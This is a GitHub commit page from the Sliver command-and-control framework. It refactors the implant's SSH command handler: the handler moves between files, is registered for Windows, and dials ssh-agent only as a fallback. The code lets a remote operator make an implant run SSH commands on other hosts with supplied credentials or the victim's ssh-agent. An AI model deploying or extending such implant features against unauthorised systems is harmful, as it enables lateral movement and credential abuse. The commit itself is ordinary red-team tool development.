Skip to content

Commit

Permalink
Add support for windows, make code arch specific
Browse files Browse the repository at this point in the history
  • Loading branch information
rkervella committed Jun 25, 2021
1 parent 9e3aaa9 commit 0ccd25d
Show file tree
Hide file tree
Showing 4 changed files with 36 additions and 34 deletions.
29 changes: 1 addition & 28 deletions implant/sliver/handlers/handlers.go
Original file line number Diff line number Diff line change
Expand Up @@ -39,7 +39,7 @@ import (
// {{if .Config.WGc2Enabled}}
"github.com/bishopfox/sliver/implant/sliver/forwarder"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/shell/ssh"

"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
Expand Down Expand Up @@ -526,33 +526,6 @@ func pollIntervalHandler(data []byte, resp RPCResponse) {
resp(data, err)
}

func runSSHCommandHandler(data []byte, resp RPCResponse) {
commandReq := &sliverpb.SSHCommandReq{}
err := proto.Unmarshal(data, commandReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %s\n", err.Error())
// {{end}}
return
}
stdout, stderr, err := ssh.RunSSHCommand(commandReq.Hostname,
uint16(commandReq.Port),
commandReq.Username,
commandReq.Password,
commandReq.PrivKey,
commandReq.Command)
commandResp := &sliverpb.SSHCommand{
Response: &commonpb.Response{},
StdOut: stdout,
StdErr: stderr,
}
if err != nil {
commandResp.Response.Err = err.Error()
}
data, err = proto.Marshal(commandResp)
resp(data, err)
}

// {{if .Config.WGc2Enabled}}

func wgListTCPForwardersHandler(_ []byte, resp RPCResponse) {
Expand Down
1 change: 1 addition & 0 deletions implant/sliver/handlers/handlers_windows.go
Original file line number Diff line number Diff line change
Expand Up @@ -86,6 +86,7 @@ var (
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
sliverpb.MsgPollIntervalReq: pollIntervalHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,

// {{if .Config.WGc2Enabled}}
// Wireguard specific
Expand Down
28 changes: 28 additions & 0 deletions implant/sliver/handlers/rpc-handlers.go
Original file line number Diff line number Diff line change
Expand Up @@ -32,6 +32,7 @@ import (
"github.com/bishopfox/sliver/implant/sliver/procdump"
"github.com/bishopfox/sliver/implant/sliver/ps"
"github.com/bishopfox/sliver/implant/sliver/screen"
"github.com/bishopfox/sliver/implant/sliver/shell/ssh"
"github.com/bishopfox/sliver/implant/sliver/taskrunner"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
Expand Down Expand Up @@ -342,3 +343,30 @@ func buildEntries(proto string, s []netstat.SockTabEntry) []*sliverpb.SockTabEnt
return entries

}

func runSSHCommandHandler(data []byte, resp RPCResponse) {
commandReq := &sliverpb.SSHCommandReq{}
err := proto.Unmarshal(data, commandReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %s\n", err.Error())
// {{end}}
return
}
stdout, stderr, err := ssh.RunSSHCommand(commandReq.Hostname,
uint16(commandReq.Port),
commandReq.Username,
commandReq.Password,
commandReq.PrivKey,
commandReq.Command)
commandResp := &sliverpb.SSHCommand{
Response: &commonpb.Response{},
StdOut: stdout,
StdErr: stderr,
}
if err != nil {
commandResp.Response.Err = err.Error()
}
data, err = proto.Marshal(commandResp)
resp(data, err)
}
12 changes: 6 additions & 6 deletions implant/sliver/shell/ssh/ssh.go
Original file line number Diff line number Diff line change
Expand Up @@ -20,12 +20,6 @@ func RunSSHCommand(host string, port uint16, username string, password string, p
stderr bytes.Buffer
authMethods []ssh.AuthMethod
)
// ssh-agent(1) provides a UNIX socket at $SSH_AUTH_SOCK.
socket := os.Getenv("SSH_AUTH_SOCK")
conn, err := net.Dial("unix", socket)
if err != nil {
return "", "", err
}
if password != "" {
// Try password auth first
authMethods = append(authMethods, ssh.Password(password))
Expand All @@ -38,6 +32,12 @@ func RunSSHCommand(host string, port uint16, username string, password string, p
authMethods = append(authMethods, ssh.PublicKeys(signer))
} else {
// Use ssh-agent if neither password nor private key has been provided
// ssh-agent(1) provides a UNIX socket at $SSH_AUTH_SOCK.
socket := os.Getenv("SSH_AUTH_SOCK")
conn, err := net.Dial("unix", socket)
if err != nil {
return "", "", err
}
agentClient := agent.NewClient(conn)
authMethods = append(authMethods, ssh.PublicKeysCallback(agentClient.Signers))
}
Expand Down

0 comments on commit 0ccd25d

Please sign in to comment.